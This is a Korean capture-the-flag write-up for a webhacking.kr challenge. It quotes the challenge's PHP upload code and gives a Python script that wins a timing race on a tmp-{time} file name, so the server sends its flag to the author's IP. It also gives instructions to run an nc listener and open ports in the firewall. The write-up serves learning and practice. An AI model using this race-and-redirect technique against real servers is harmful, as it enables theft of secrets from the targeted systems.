Write-Up
위 그림 1과 같이 페이지에는 파일을 업로드할 수 있는 기능이 존재하며, 새로 고침 시, tmp- {$time}의 파일이 생성되고, 해당 파일에는 127.0.0.1 이 쓰여진다. ( 아래 그림 2를 확인하도록 한다. )
$file_nm = $_FILES['upfile']['name'];
$file_nm = str_replace("<","",$file_nm);
$file_nm = str_replace(">","",$file_nm);
$file_nm = str_replace(".","",$file_nm);
$file_nm = str_replace("/","",$file_nm);
$file_nm = str_replace(" ","",$file_nm);
if($file_nm){
$p = fopen("./tmp/{$file_nm}","w");
fwrite($p,$_SERVER['REMOTE_ADDR']);
fclose($p);
}
GO!.txt 란 파일을 업로드해보았다. 위 코드에 의해 upload 된 file 명이 수정되며, GO!txt 파일로 업로드 되어졌고, 해당 파일에는 REMOTE_ADDR이 쓰여지게 됐다.
$host = file_get_contents("tmp/tmp-{$time}");
$request = "GET /?{$flag} HTTP/1.0\r\n";
$request .= "Host: {$host}\r\n";
$request .= "\r\n";
$socket = fsockopen($host,7777,$errstr,$errno,1);
fputs($socket,$request);
fclose($socket);
위 코드를 보면, file_get_contents() 함수로, 파일 내용을 읽는다. 즉, 타이밍에 맞춰, tmp-{$time}에 맞는 파일명을 업로드 한다면, 나의 IP가 적힌 파일이 업로드된 후, $host 변수에 초기화될 수 있다. 아래의 파이썬 코드를 사용해, tmp-{$time}의 파일명에 맞는 request를 보냈다.
import requests
from time import *
url = 'https://webhacking.kr/challenge/web-18/index.php'
session = requests.session()
cookies = {'PHPSESSID':'el370slbv2b0j'}
fn = 'tmp-{}'.format(int(time()))
files = {
'upfile' : (fn,'wargame')
}
session.post(url,files=files,cookies=cookies)
위의 코드를 실행 시키 전에 nc -lvp ( 수신 포트 ) 명령을 통해 리스닝 상태여야 한다.
물론, 위 그림 4와 같이 포트포워딩 설정이 필요하고, 방화벽까지 내려줘야 한다. 그럼 결과는 아래와 같다.
참고